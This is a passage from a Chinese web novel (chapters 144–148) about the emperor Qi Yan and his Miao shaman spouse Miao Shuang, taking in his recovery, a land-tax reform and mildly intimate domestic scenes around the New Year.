姜茂又吃了两口饭便离开了,室内再次陷入一片安宁。 “最后一个部下也走了,这回真成孤家寡人了,陛下?”苗霜调侃道。 “总要走的,”祁雁站起身来,走到窗边,“如果可能,我也不会留在这京都,我虽回不去了,还有他们替我镇守边关,也算好事。” 他说着回过头:“更何况,还有夫人陪着我,不是吗?” “那得看你表现,”苗霜抱起胳膊,“若病人久治不愈,我也会失去耐心,你最好在我耐心耗尽之前康复,不然的话,我就回苗疆去——” “夫人怎可弃我于不顾?”祁雁的眼神瞬间变得有些幽怨,“结发夫妻当风雨同舟,相濡以沫,就算夫人跑到苗疆去,我也会把你抓回来。” 苗霜嗤之以鼻,根本不为之所动:“你又不能轻易出宫,你手下的人抓不住我,从晏安到苗寨,一来一回一两个月过去了,你能离开那么久吗?” “不能也得能,”祁雁走上前来,向他逼近,目光沉沉地盯着他,严肃道,“不准跑。” 苗霜本来也只是看他今天状态还好,跟他开个玩笑罢了,见他要认真,便到此为止:“逗你的。” 祁雁却依然不停,伸手撑住坐榻扶手,将他困在身下。 “都说了逗你的,唔……” 祁雁才不管他是认真的还是开玩笑,俯下身来便吻他,这些时日别说和苗霜亲热,就是和他一起睡觉的时间都不多—— 倒也不能说不多,是他清醒的时间太短。 苗霜被他压得身体后仰,试图挣扎:“你别把东西碰撒了……” 明秋适时地走上前来,搬走了床桌,连同桌子上的碗筷一起。 苗霜:“……” 倒也不用这么有眼力价。 没了碍事的东西阻拦,祁雁愈发肆无忌惮起来,他在苗霜唇瓣上轻轻啃咬,觉得夫人比早饭好吃多了。 没过一会儿两人便滚作一团,苗霜的衣服被解开,某人不安分的手顺着衣摆探入,在他腰间反复摩挲。 不知是不是祁雁之前在塞北待了两个月的缘故,他总觉得对方手上的茧子更多了,粗砺的摩擦感让他直冒鸡皮疙瘩,虽然已经不发烧了,但掌心的温度还是高过他皮肤上的温度,带来一阵阵炽烫和酥|麻。 祁雁的手在他腰间流连片刻,还要继续向下,被苗霜一把捉住,在换气的间隙中开口:“吃着药呢,不宜纵|欲。” 祁雁显然不太高兴,又努力了一下,见他不肯退让,只得作罢。 不让他动手上功夫,那他只好继续动嘴上功夫,用力在他颈侧啃咬以表达不满,整日被药灌得昏睡不醒,本来就没什么欲想可言了,今天好不容易有了些,居然还不让他做。 苗霜被他啃得皮肤红了一片,牙印从颈窝一直延伸到锁骨,却也懒得跟他计较,食困上涌,开始昏昏欲睡了。 他眼帘微合,半梦半醒间感觉所有露在衣服外面的部位都被祁雁吻了个遍,一会儿这疼一下,一会儿那疼一下,相当烦人。 不知道过了多久才慢慢消停,可消停是消停了,人又压在他身上不肯下去,苗霜才睡了一小会儿,就有种喘不过气的感觉,不得不睁开眼,用力想把他推开:“下去。” 祁雁纹丝不动。 所谓瘦死的骆驼比马大,就算祁雁最近几个月体重暴跌,压在人身上也还是沉得要命,苗霜这个姿势又用不上力,折腾了半天也没顺利挣脱,反而被烧得太旺的地龙和某人的体温烤得鼻尖冒汗。 不得已,他只能求助外援:“明秋!” 太监帮他搬开了皇帝陛下,苗霜看着某人,十分怀疑这家伙在装睡,故意压着他不让他起身。 一抬头,才发现面前并不是明秋:“怎么是你?” 范青书看着他们的眼神十分复杂,不过是一顿早饭的功夫,陛下和大巫已经是衣冠不整,大巫满身牙印,也不知道陛下究竟是在这吃早饭呢还是吃夫人呢。 他默默收回视线,用公事公办的语气道:“今日的奏折送到了,大巫可要现在批阅?” 苗霜本想睡个回笼觉,可刚刚一番折腾,又不困了,叹口气道:“拿进来吧。” 范青书捧来一摞奏折,数量看起来不算太多,自从上次苗霜威胁臣子们再说废话后果自负以后,类似的奏折果然少多了。 他把祁雁推到里面去,让范青书重新摆好了桌子,还好这张坐榻够大,还能容下一个人在这里睡觉。 赶紧批,批完了奏折,剩下的时间就都是他的了,反正今天下雨,八成不会有烦人的大臣进宫求见说有要事相商。 苗霜随手打开了一份奏折,刚拿起笔,就看到自己手上层层叠叠的牙印,从手背一直蔓延到手指。 苗霜:“……” 他面无表情地转过头,狠狠将奏折扔到祁雁脸上:“起来,给我自己批!” 第145章 第 145 章 朕意已决,多说无益。…… 祁雁就顶着那份盖在脸上的奏折翻了个身, 背对着苗霜,奏折顺着他转身的方向掉落,挂在了坐榻后靠上。 苗霜:“……” 果然是在装睡。 他阴沉地盯着对方看了一会儿, 终于重新拿起了奏折,再次翻开来。 从头至尾浏览了一遍, 他神色微微凝重起来。 又是关于税收的奏折。 如今秋收已过,各地都在忙着收税, 类似的奏折他已经收到了许多次,内容无非是说近些年来天灾人祸不断,百姓大批逃亡,各地官府收税收不上来,完不成朝廷指定的税额,官员们已经无计可施,只得上奏,求陛下想想办法。 对此,苗霜却也没什么办法, 一来他只是代理皇帝,二来他是个苗人, 现在苗疆已成羁縻州,并不需要向汉人缴税,汉人如何处理税收问题还轮不到他来管。 更何况他也不想管。 这里面牵涉到的事情太多,他可没那个闲工夫,没活给自己找活干。 可一直敷衍回避却也不行,最近他一收到这种折子, 就批复“朕知,已在商议”,若是耽误太久, 未免让官员们寒心。 于是他又用胳膊肘捅了祁雁一下:“确定不看?” 祁雁不应。 “好吧,那你可别后悔。” 苗霜说完便不再搭理他,这一招欲擒故纵,祁雁果然上钩,没过一会儿就挣扎着爬起身来,冲他伸手。 苗霜冷眼敲他:“干什么?” “奏折。” “不是不看吗?” “……没说不看。” 苗霜嗤笑一声,将那份奏折拍到祁雁手里,又继续去看下一份。 祁雁看完奏折,眉心渐渐蹙起,这折子是地方官员递上来的,一路送进京都,距离落款上的日期已经过去好几天了。 “可还有类似的折子?”他问。 “多的是,”苗霜将余下的奏折一一翻看,“不过今天没有了。” 祁雁将折子放在桌上,苗霜又问:“如何批复?” 祁雁思索片刻:“就批……朕已知,还需商议。” 苗霜闻言不禁一哂:“我回回这么批,你确定还要继续敷衍?” 祁雁有些头疼地捏了捏眉心:“兹事体大,容我再想想。” 之前苗霜没回来时,他便收到过几份这样的折子,现在快到年底了,各地官员都在忙着完成朝廷指派的任务,类似的事只会多不会少。 虽然之前已经向各地拨下赈灾款,但终究是治标不治本,税收问题一天不解决,民生就一天不会好转。 之前又和狄历打了一仗,连国库都已经见底,收不上税,国库没钱,又谈何救济百姓,这是个死循环。 祁雁披了衣服起身,这下是彻底没心情继续睡了,昨晚喝的药到现在药效差不多过了,难得清醒,可以暂时干一会儿活。 前朝留下的弊病颇多,不仅仅是季渊,还有季渊的父亲惠帝,几十年累加下来,已是积重难返,除了改税制这一条路,别无他法。 但究竟要怎么改,他全无头绪。 过了一会儿,他问苗霜道:“夫人可有建议?” “别问我,”苗霜高效地批阅着剩下的奏折,“你们汉人的事,你们自己解决。” 忽然,祁雁留意到候在一旁的范青书,抱着试试看的心态,他询问道:“探花郎可有主意?” 范青书正在发呆,闻言抬起头来:“陛下问我?我只是个宦官,不好发表意见。” “若是没有季渊,你早已平步青云,位至宰相也未可知,”祁雁道,“说吧,你在季渊身边多年,又和瑞王互有往来,一定对天下局势有些了解。” 范青书沉思片刻,微不可闻地叹了口气:“我的确有些见解,这样的折子,在陛下即位前便时常有,我也曾向先帝提过建议,但先帝对此置若罔闻。” “说来听听。” “而今所行税法,沿用雍朝旧制,属人丁税,配合均田制,此法在雍朝建立之初十分有效,因那时战乱初歇,地多人少,只有耕不完的地,没有分不到地的人。” “但随着盛世到来,天下太平,人们安居乐业,人口也开始暴涨,官员数量更是翻了几十番,官员贵族们占据着大量不需纳税的田地,朝廷手中的公田一减再减,早在数年之前,便已无田可分了。” “地少人多,手里有田的官僚贵族们享受着免税特权,分不到田地的平民百姓却要缴纳赋税,钱究竟从何而来?即便是家里有地的百姓,一遇天灾、战乱,粮食减产,甚至颗粒无收,交不上官府指定的税额,就只能将土地低价卖给权贵,换取钱粮纳税,可度过了今年,明年又该如何?再从权贵手中租地来种,沦为佃农,还是就此流亡,落草为寇?” “不论哪一种都是食不果腹,百姓生活艰苦,国家也无钱可赚,从普通民众手里收税容易,从权贵手里收税却难,大量的土地落在权贵手中,他们赚得盆满钵满,如何会管他人死活?哪怕就将多余的田地放在那里荒废着,也不会救济劳苦百姓一银半铜。” 祁雁:“那该如何解决?” “而今唯有一法,”范青书看着他道,“彻底改了这税制,取消人丁税,改用土地税,不论官员、贵族还是平民、流民一视同仁,以个人占有的土地面积、土地价值和收成为依据收税,拥有的土地越多,需要缴纳的赋税就越多,若无土地便按各户财产,富者多纳税,穷者少纳税乃至不纳税,如此一来,危机可解。” 祁雁思忖片刻,点点头道:“确实可行。” “不过,”范青书话锋一转,“若真如此改税法,动了太多人的利益,一定会遭到层层阻挠,只看陛下手腕够不够强硬,若税制推行不下去,说什么都是无用。” 祁雁微微眯起眼睛:“这一点探花郎不必担心,朕自有办法。” 于是从这天开始,祁雁治病之余便叫来臣子商议税法,从制定到完善花了快一个月时间,在这期间内,病也好得差不多了。 这一场大病害他缠绵病榻近两个月,年关到来之前,总算是差不多痊愈了。 苗霜给他号完脉,收回手道:“勉勉强强,就算你好了吧。” 祁雁:“……” 什么叫“就算”。 被灌了这么久的药,整日昏昏沉沉,思绪迟滞,再喝下去人都要傻了,最近减了药量,才算能正常生活。 他还有很多事要做,可没时间再耽误了。 苗霜又扒开他的衣服——祁雁在和狄历一战中添的新伤已经彻底痊愈了,疤痕全部消失,身体里的蛊虫恢复正常。 只是心口的剑伤还在。 但经过这段时间的调养,那道疤痕也淡了许多,只剩下一个浅淡的印子,摸上去接近平整。 他并不知道能不能彻底消除,不过看起来不会再反复了,祁雁也没再说自己心口疼,这东西似乎完全变成了一道旧日的烙印。 不痛不痒,但永远在。 苗霜用指尖在那道伤疤上抠弄了一会儿,祁雁捉住他的手,自己穿好了衣服:“夫人最近当皇帝当得可还过瘾?” “一点也不,”苗霜坐在他腿上,“既然病好了,从明天……不,从今天开始我就不帮你干活了,正好明日大朝,你自己去上。” 祁雁打了个哈欠,佯作困顿相:“我怎么觉得这么困……莫非是药力还没散尽?” “少来,”苗霜不为所动,“前天就给你停药了,在其位谋其政,是皇帝就别想偷懒,还是说你想重蹈季渊的覆辙?” “倒也没有如此严重吧,”祁雁哭笑不得,“也罢,辛苦夫人这么久,我也有些过意不去,从今天开始,夫人可以好好休息了。” 这还像句人话,苗霜在他唇边吻了吻,祁雁正欲回吻,对方却已点到为止,起身道:“去睡了。” 祁雁:“……” 当晚,祁雁最后找到范青书,对他道:“探花郎有大才,若你愿意,朕便借税制改革一事予你官职,从今往后,你可在朝中大展拳脚。” 范青书听了却出奇平静,曾经梦寐以求的东西真到了眼前,内心竟已没有丝毫波澜。 他微微低下头去:“宦官当政,亡国之相也,陛下三思。” 祁雁注视他良久,终是一声长叹。 * 元兴元年十一月十五,年假之前最后一次大朝。 这一天对于臣子们来说和以往并没什么不同,无人知晓那龙椅之上的帝王曾换过人,又在今日换了回来。 年关已近,京都落了几场雪,天气愈发寒冷,早起的臣子们都没什么精神,握着笏板的手已经缩进袖中,瞌睡声此起彼伏。 直到新上任不久的户部侍郎铿锵有力地提出税法新政,朝臣们才如梦方醒,意识到新一轮的暴风雨将要降临。 一石激起千层浪,朝堂上瞬间炸开了锅,议论、怀疑、劝谏、抗议之声不绝于耳,赞成的和反对的互相攻击,几乎动起手来。 朝臣争吵不休,直吵得满头大汗,口干舌燥,累得不得不停下来时,才发觉御座之上的天子始终没有开口。 大殿内安静下来,众人纷纷向高位望去,只见那天子隔着晃动的玉旒注视他们,深黑眼眸鹰隼般锐利冰冷。 “诸位爱卿,可吵完了?”祁雁不紧不慢地开口, “朕倒是觉得颜侍郎所言甚妙,不如,就依他说的办如何?” 朝臣们大惊,有人上前一步就要劝谏:“陛下三思……” 一句话还没说完,祁雁已经将脸色一沉,拂袖起身:“朕意已决,多说无益——散朝!” 第146章 第 146 章 夫人这是等不及了?…… 不论朝臣们怎样反对, 祁雁决意推行新税法,年后施行。 一时间京都风波四起,有人欢喜有人愁, 但祁雁才不管那些,所有来劝谏的臣子一概不见, 甚至连奏折都不批了,就这样放了年假, 有什么事年后再说。 一些人是注定过不好这个年了,而皇帝陛下本人已经悠哉悠哉地出了宫。 他没带护卫,毕竟整个大景也不见得能找出打得过他的,只带了三四个随从,驾着一辆平平无奇的马车,车里是他和苗霜两个人。 姜茂已经抵达塞北,昨日送信进了京都,和赵戎以及卢方父女共同向他道贺,提前祝他们新春快乐。 大街小巷里满是年味, 马车在西市逛了一圈,采买了不少年货, 商贩们热情地张罗着,大概不会有人猜到站在摊前买东西的竟是皇帝本人。 一开始苗霜还下车陪他选选,后来便懒了,天气太冷,他缩在马车里不想动弹,腕上的蛇比他还懒, 只怕再冷一点就要冬眠了。 终于买够了所有的年货,祁雁撩开车帘上车,衣服上还覆着一层冬日的寒意, 苗霜果断又往里缩了缩,离他远些。 祁雁向他靠过来,车里那么多地方不坐,偏要和他挤在一起,苗霜嫌弃他身上凉,又要躲开,却被对方一把捉住了手腕。 预想中的凉意并没有到来,只有温热的掌心贴上他的皮肤,紧接着一股暖意顺着肌肤相贴处传遍全身,热气将他雪白的发丝微微吹拂起来,在如此寒冷的冬天被热意包裹,舒服得他一哆嗦。 他终于不嫌祁雁身上冷了,主动往他怀里靠了靠,不得不说某人这内力相当有用,完全可以充当人肉暖炉。 马蹄笃笃离开了喧闹的西市,顺着平直街道一路往将军府而去。 他们已经很久没回来了,本以为府邸一定是门可罗雀,可祁雁从车上下来时,竟意外发现有人在清扫大门前的空地。 那人似乎没注意到他们,又或是以为这马车和往常一样只是从门前路过,头也不抬地继续扫,直到从车上下来了人,他才停下手里的活儿,错愕地抬起头来。 看到来人他愣了一下,祁雁也愣了一下,惊讶道:“来福?” “将、将军?!”来福瞪大双眼,扫帚一下子脱手落地,他急忙揉了揉眼睛,“我没看错吧,真的是您?” “你怎会在此?”祁雁上前一步,将他上下打量一番,“当年你们不是都离开了吗,怎的又回来了?该不会这两年你一直守在这里?” 来福回过神,激动得眼圈都有点红,哽咽道:“没、没有,当年您离京以后,我就去别处找了活儿干,帮别人家里跑腿,帮胡商卖货,还在酒楼当过伙计!不过每年过年的时候,我都会回来看看,万一……万一您也会回来呢?” 他说着擦擦眼睛,抽了抽鼻子,几乎极喜而泣:“没想到今年还真让我碰上了!将军……不,陛下!新春吉乐!” 祁雁看着他,一时间感慨万千,伸手拍了拍他的肩膀,笑道:“新春吉乐。” “对了,”来福望向他身后,“夫人呢?他没和您一起吗?” 说着又挠了挠头:“现在叫‘夫人’……还合适吗?还是……皇后殿下?” 苗霜原本还在车里磨蹭着不想下来,这一句皇后殿下只让他浑身冒鸡皮疙瘩,忙撩开车帘下了车:“不会叫就别乱叫,咱们的皇帝陛下尚未立后,我可还担不起一声‘皇后’。” “哦?”祁雁一挑眉梢,“看样子夫人是等不及了?我隐约记得之前谁说不愿做我的皇后……” 苗霜瞪了他一眼,看向来福,两年过去,这小子也彻底长开了,样貌虽不出众,眼睛却挺大的,看着喜庆又精神。 “还在这里傻站着干什么?还不赶紧进府去?” “哎!”来福兴冲冲地跑上前去开门,看到门上的锁,又愣住,尴尬道,“我……我没钥匙啊。” 众人纷纷看向祁雁,祁雁沉默了一下,走到门前,伸手握住那把锁,内力一震,锁头应声而断。 面对着一干人惊愕的目光,他面不改色道:“看什么?两年过去了,谁还记得钥匙放在何处?” 来福:“……” 总而言之,没有将军府钥匙的祁雁将军就这样强行闯进了自己家。 来福捡起掉在地上的扫帚,进去打扫院子,两年没人居住,府中落叶满地,正堂的门一开,灰尘和蜘蛛网一并落了下来,他被呛得直咳嗽,举起扫帚清理头顶的蛛网。 见府里这荒废的样子,苗霜一脸嫌弃,顿时想起他两年前搬进来时,府中甚至连像样的家具都没有,如今祁雁当了皇帝,反而一夜回到从前了。 他十分不满地看向对方:“你就不能提前派几个人进来收拾?” 说完,又冷冷道:“哦,你没钥匙,仆从杂役没有你这徒手开锁的本事。” 祁雁:“……” 出宫时皇帝陛下自信不要护卫,现在又后悔人带少了,不得已,他只能亲自加入打扫行列。 屋子里还没收拾,根本没法住人,苗霜裹着狐狸毛披风站在廊下看,站了一会儿就觉得冷,祁雁给他的御寒内力随着时间推移而消失,不得已,他只能再次去找对方取暖。 如此反复了三四次,来福以最快的速度收拾好一间屋子,点上火盆,对苗霜道:“夫人可以进去了!” 苗霜果断抛下身边的人肉暖炉,进屋去找真的。 看着他离去的背影,祁雁沉思了一下,觉得凭他们这效率,怕不是到晚上都打扫不完,干脆不再磨洋工了,他走到院子中央,气沉丹田,足底在地面上用力一踏,落叶被内力激起的气流震开,打着卷滚动到墙角。 扫帚顺着墙角划过,所有的落叶就都进了竹筐里,院中瞬间变得干干净净,纤尘不染。 他十分满意地进屋去找苗霜,苗霜正坐在火盆边上取暖,用感知力目睹了庭院中发生的一切,神色怪异道:“你这内力除了用来杀人,倒是做什么都好使。” 祁雁不置可否,对他道:“马上就到除夕了,夫人闲着也是闲着,不如陪我布置一下院子如何?” 苗霜果断拒绝:“不干。” 祁雁幽幽地叹了口气:“我记得你我刚成亲时,夫人还说自己是当家主母,要替我料理府中琐事,怎的今日却又不肯?难道才过两年,便已厌弃我了?” 苗霜听得眉头直跳,有时候他真的很想知道,祁雁究竟经历过什么,才从当年那个高冷仙尊变成今天这副模样的。 没再给他拒绝的机会,祁雁已经强行把他拽了起来,拉着他去府邸门口挂灯笼。 苗霜不情不愿,浑身都写满了抗拒,祁雁搬了梯子上去,问他道:“这个位置可行?” “往右点。” “这里?” “再往右点。” “现在?” “往右。” “……”祁雁低下头,“再往右我就要掉下去了,夫人。” 苗霜一扯嘴角:“就这里吧。” 好不容易挂上灯笼,贴好对联,天也快黑了,两人回到府内,屋子已经收拾得差不多,厨子也开始准备年夜饭。 祁雁最后来到祠堂。 刚刚来福已将所有的排位擦拭干净,重新摆好,再回到这里时,祁雁几乎有种恍若隔世的感觉,他至今仍记得那个雨夜,厌恶和背德的快|感仿佛还残留在此处,彼时的他只觉得难以忍受,现在想来,竟又有些怀念。 祁雁忍不住反省自己,恭恭敬敬在灵位前上了三炷香,跪在蒲团上,叩首至地。 “不孝子祁雁,向父亲、母亲及诸位先祖谢罪,”他低沉的嗓音在祠堂内响起,“雁已手刃仇人,虽不能换家人复生,却可挽欲坠之江山,佑芸芸之众生,忠心于民,我无愧矣。” “而今新春将至,万象待新,望天下百姓都能过个好年,望父辈宗族……皆能安歇。” 他嗓音微微哽咽,对着灵位重重磕头。 苗霜注视他良久,终是走上前来,在他身侧的蒲团上跪下。 他望着祁老将军的灵位,一时有些恍惚。 若是师尊,会为他们祝福吗? 纵然他恨师尊,恨他将他选为弃子,可一日为师终身为父,如果可能,他还想得到他的祝福。 但师尊或许不会。 天道弃子不该染指天之骄子,有祁雁无他,有他无祁雁。 可如今,他们偏偏走到了一处。 逆天行道不外如是,既无人予他们祝福,那便自己祝福自己吧。 他缓缓对着灵位叩首,一旁的祁雁直起身来,惊讶地看着他。 他没想到苗霜竟愿意与他一起祭拜父母,方才还分外沉重的心情不禁轻松起来,平生从没有一刻比现在更加幸福。 苗霜磕完了头,站起身来,刚拍了拍膝盖上并不存在的灰尘,便觉眼前一暗,祁雁投下的阴影将他笼罩其间。 他下意识地抬头,一个不由分说的吻便落了下来,祁雁捧住他的脸,肆无忌惮地亲吻他,就在这供奉着先辈灵牌的祠堂里。 一阵寒风吹进祠堂,风声呜咽,似是叹息。 袅袅香烟被风吹得一晃,那三炷香却未熄灭,反而燃得更旺了。 黑底金字的牌位静默伫立,青烟直上,亦像祝福。 第147章 第 147 章 就这? 两人一直吻到香燃尽了才分开, 苗霜舔了舔嘴角,颇有些意外地说:“这可是你家祠堂,不避讳了?” 祁雁面不改色:“夫人都在祠堂里对我做过那种事, 想必祖辈已习惯了,接吻而已, 不算什么。” “那种事?”苗霜奇怪道,“哪种事?” 没记错的话, 他也只是在这强吻过祁雁吧。 被他这么一反问,祁雁忽然也不确定了,犹豫道:“你难道不是……趁我昏厥以后用我的身体满足你自己?” “哈?”苗霜眉头一挑,视线往下瞟去,“我何时做过那种事?比起不会动的死物件,我还是更喜欢活的,在你清醒时用你,看你又厌恶又喜欢的表情才符合我的口味,何必在你昏迷时趁人之危?” 祁雁:“……” 难道他误会了? 可当时来福明明就是那意思……难道是来福误会了? 不过比起这个, 还是另外一句话更令人在意,他表情怪异地说:“你还真是恶趣味。” “陛下又不是第一天知道, ”苗霜笑吟吟道,“知道我恶趣味还要配合我,陛下你也有责任啊。” 祁雁果断不再言语,两人离开祠堂,院中酒菜飘香,年夜饭已准备得差不多了。 天色已晚, 除夕的热闹却才刚刚开始,新春之时不设宵禁,整个晏安城内张灯结彩, 阖家团圆,共度佳节。 众人围坐一桌,谈笑风生,推杯换盏,虽然府里人不多,却也其乐融融,围炉守岁直到深夜。 子时将至,来福跑到门口去放爆竹,震耳欲聋的爆竹声此起彼伏,在晏安城的大街小巷里乘风直上。 祁雁帮苗霜捂住了耳朵,附近太吵,他自己也不得不御起内力抵挡,刚和苗霜成亲时没能留在将军府过年,他心中始终有些遗憾,终于在今天得到弥补。 深夜的帝都在欢庆中亮如白昼,苗霜握住他的手,回过头来,轻轻在他唇边亲吻。 * 元兴二年正月十九,景天子祁雁力排众议,推行新政,大刀阔斧改革税法,统一税收时间,分夏、秋两季集中征取,不再使用人头税,改用户税、地税,户税征钱,地税纳粮,量入为出,免除一切苛捐杂税。 新税制大大减轻了百姓赋税压力,但因以前不需纳税的官僚贵族皆要和平民百姓一样纳税,令权贵们极为不满,一时间满城风雨,劝谏奏疏多如雪片。 对此,天子态度极为坚决,不肯退让半步,更是在大朝之上拍案而起,勃然大怒:“朕推行利民之政,众卿何故阻挠?官不为民,何以为官?!” 他黑沉沉的眸子环视朝臣,逼人的威压让人抬不起头:“朕不管你们有什么样的难处,新税制今年夏收之前务必落实到位,玩忽懈怠者,罚!隐瞒耍滑者,罢!违抗阻挠者,斩!” 撂下这段话,祁雁拂袖而去,徒留满朝文武鸦雀无声。 于是从这天开始,一场围绕着税法而展开的肃清行动拉开序幕,之前祁雁已经整顿了京中官员,现在轮到地方了,因为近些年来节度使拥兵自重,越来越不听朝廷命令,朝廷对地方官员的管控愈发艰难,如若再不收权,恐藩镇割据,积重难返。 各地节度使虽不想配合,却也别无他法,纵观天下各道,兵力多的都在北方边境,关内是自己人无需多言,陇右表示无条件遵从朝廷命令,便只看河东河北。 与狄历一战,祁雁趁机收了范阳精兵和河东战马,现在范阳的兵力比之前弱了不少,想造反却也没那个实力,河东见势不妙,积极配合税法改革向朝廷表忠心,剩下平卢节度孤掌难鸣,也不足为惧。 更何况还有范阳陆氏和祁家的交情在,范阳节度使也不好真的反了,可他也不想吃这个哑巴亏,连上三封奏疏怒骂祁雁过河拆桥,让他下诏把陆暄许配给自己就原谅他。 祁雁看着那封奏疏哭笑不得,反问他有没有征得陆暄的同意,自己的终身大事还是要自己争取,别总想着走捷径。 范阳节度没再上奏,或许又忙着三顾茅庐去了,如此一来,北方诸道算安抚好了,南方自然没大问题,黔中、剑南率先响应,其他兵力不多的几道便也随波逐流。 纵然所有人都知道这一次的官员换血是削弱节度使势力的开端,却也只能听之任之,没有太多办法,加上新税法两税三分,一部分税款供节度使自行支配,也算是照顾到了节度使们的情绪,不至于抵触过甚。 为监督税制改革,祁雁又亲自从御史台挑选了一批观察使前往各道督察,并且将任期缩短到一年,一年之后返回京都,再随机打乱,前往其他道继续上任,以免之前观察使久任一道,借职务之便一官独大的事情再次发生。 这批观察使都是些血气方刚嫉恶如仇的年轻人,不怕他们和当地官员同流合污,就怕事情做得太绝,得罪了人一去不返,为保护他们的人身安全,祁雁又将宫中暗卫抽调出来,与观察使同行。 反正他有武功傍身,根本用不着这些暗卫,贯心一剑都捅不死他,又百毒不侵,想杀他是天方夜谭。 改革稳步推进,祁雁狠忙了一阵子,渐渐也闲了下来,苗霜时不时给他把把脉,病情没再反复,可能因为最近太忙,他也没时间想别的。 天气转暖,苗霜又可以继续培育蛊虫了,两人白天各忙各的,晚上一起睡觉,平静却也快活。 这日,祁雁正在批奏折,范青书忽然找到他,恳求他准许自己离宫。 一般情况下太监年老体衰才会被放出宫去,大多数太监甚至活不到那个年纪,范青书正值青年,怎么看也不像是可以离宫的。 但他毕竟情况特殊,好好的探花郎因季渊一己私欲成了阉人,忍辱负重多年,想要离开这个伤心之地也是情有可原。 祁雁其实很想留他,之前的税法采纳了他的提议,有时遇到什么难以抉择的事,也会参考一下他的意见,就这么放他走了,可用之才又少了一个,不免让人惋惜。 他做出最后的挽留:“你当真想好了?确定不为自己谋个一官半职?离宫之后生活得不到保障,这些年你所得俸禄和赏钱,可够你安度晚年?” “谢陛下关心,但我心意已定,”范青书垂眼道,“若陛下不肯放我离宫,便还是将我赐死吧。” 祁雁叹口气:“我准你出宫,你就不会去寻死了?” 范青书不答。 “罢了,”祁雁摆了摆手,“自己的性命自己决定,朕拦你也没意义,你离宫之事,朕允了。” 范青书向他磕头谢恩:“谢陛下。” 他躬身而退,最后听到祁雁说:“但你若还活着,记得替朕四处走走,若看见哪里有不平事,官员贪赃枉法,贵族欺压百姓,记得修书一封送进京都,朕一定细细查阅。” 范青书抿了抿唇,只感觉鼻腔酸涩,他没敢抬头,拱手应道:“是。” 送走了范青书,祁雁一时有些心烦意乱,奏折也不想批了,刚放下东西起身,就见苗霜抱着虫罐走了进来,揶揄道:“爱臣如子的陛下,又少了个人才可用?” 祁雁苦笑:“我焦头烂额,夫人却在这里幸灾乐祸。” 说着,又话锋一转:“我看之前夫人代理皇帝之职,做得也不错,不如……” “打住,”苗霜果断回绝,姓祁的一张嘴他就知道他要说什么话,“没人就去招人,别指望我帮你分担差事,忙着呢,没空。” 祁雁瞄一眼他手里的虫罐。 忙着什么,忙着把皇宫改造成蛊虫培育基地吗? 摇了摇头,皇帝陛下还是只能自己想办法。 由于这次的肃清,罢免了一大批不合格的官员,各地空缺职位甚多,人手不足,非常影响办事效率。 故天子下诏重启科考,暂停数年的科考终于要重新举行,天下学子欢欣雀跃。 以前科考由吏部主办,吏部本就负责考核和任免官员,借职务之便内定中榜名额的乱象横行多年,因此祁雁干脆将科考事宜交由礼部操办,使六部分庭抗礼,避免某些人独揽大权。 而今朝中武将也极为稀缺,便又增设武举,由兵部负责,考核武艺,通兵法懂谋略者更佳,使天下并非武将世家出身的武人也有机会入朝为官,一显身手。 祁雁甚至放出消息,武举殿试将由他亲自考核,谁能在他手下撑过十招,谁便可拔得头筹,成为今年的武试状元。 能和皇帝本人过招,天下武人无不振奋,一时间参试热情无比高涨,盛况空前。 秋闱结束之后不久,便又到了秋季税收,各地官员这一年到头忙得不可开交,不过税制改革的成效颇为显著,据各地观察使传回京都的奏疏来看,先前因权贵剥削而不得不流亡的百姓们大批返乡,衣不蔽体食不果腹的状况极大缓解,新税法施行的第一年,朝廷收缴上来的赋税竟比以前翻了一倍还多。 捉襟见肘的国库得到补充,天子心情大好,多给劳累了一年的官员们放了几天假。 朝臣放假了,祁雁自己也难得奢侈了一把,让尚食局准备了一桌好酒好菜,还备了苗霜喜欢的酸汤鱼暖锅,举杯邀请他道:“夫人,今日你我小酌一番可好?” 苗霜看着那桌比平常多了八道菜的“盛宴”,忍不住挑了挑眉梢:“你说的‘奢侈一把’,就这?” 第148章 第 148 章 封后。 “这还不够奢侈吗?”祁雁给他也倒了一杯酒, “明知菜吃不完还要准备,不能更奢侈了。” 苗霜无奈摇头,在他身边坐下, 天气冷了,喝口酒暖暖身子, 他将那杯酒一饮而尽,辛辣的酒液烫过喉管, 直冲胃里,让他忍不住发出一声满足的喟叹。 暖锅里的酸汤正在翻滚,雪白的鱼肉时起时伏,他夹了一筷子,轻吹过后放入口中,酸辣的滋味将鱼肉浸透,又辣又烫,爽得人汗毛直立。 许久没吃这鱼了,还真有些想念, 他在京都住了两年,也已经习惯这里的饮食, 不过祁雁也时常会让尚食局做些黔菜来换换口味,当年随他们去苗寨的厨子也当上了尚食,做起黔菜信手拈来,听说还带了几个徒弟。 自从他们入京以后,吃辣的习俗也渐渐在京都传开了,现在京都大部分酒楼都引进了辣椒, 京都百姓接受能力良好,还自创出了一套吃法,将热油泼在辣椒上, 称之为“油泼辣子”,就是上次他给祁雁尝的那种。 除了辣椒,祁雁还命人种植蕺菜,不过北方气候干燥,种植起来不算太容易,收成不多,苗霜一个人吃倒是够了。 祁雁还曾在宴会上请臣子们吃蕺菜,绝大部分人都接受不能,偏偏是皇帝赏的,捏着鼻子也得吃,为了表现自己很爱吃,大口往嘴里塞,边吃边夸,边夸边忍不住想呕。 好不容易吃完了,抬头才发现祁雁已将自己的那盘蕺菜全推给了苗霜,臣子们这才知道,原来皇帝自己也不吃。 群臣脸上的表情那叫一个精彩纷呈。 现在京都已经很冷了,过了吃蕺菜的时节,苗霜看着这一桌菜,总觉得少了点什么,但祁雁又给他准备了好几种鱼,勉强能弥补这一点。 明秋站在一边,贴心地帮他剔除鱼刺,两人边喝酒边吃菜,果然吃不完,除了那几道鱼,其他菜基本只受了皮外伤。 酒过三巡,祁雁似乎是有点醉了,苗霜也感觉酒劲上头,记不得自己是怎么从餐桌滚到床上去的,大概是祁雁抱的他。 酒意让呼吸愈发滚烫,一来二去,身上的衣服也不翼而飞,都已经酝酿到这了,实在没道理不乱个性,帷幔垂下,床帐之内一片昏暗。 两人走得太快,谁都没留意白蛇被遗落在了饭桌上,主人见色忘宠,它只好自己给自己寻觅些吃的,爬着爬着就来到苗霜没喝完的酒杯旁边,对着杯中剩下的小半杯酒直吐信子。 就喝一口,不会有事吧…… 白蛇把脑袋探进杯中,腮帮子一鼓一鼓,很快半杯酒就下了肚。 明秋发现的时候已经来不及了。 只见醉酒的白蛇以诡异的姿势在桌上爬动,想去吃剩下的鱼,张开血盆大口—— 一口咬在了盘子上。 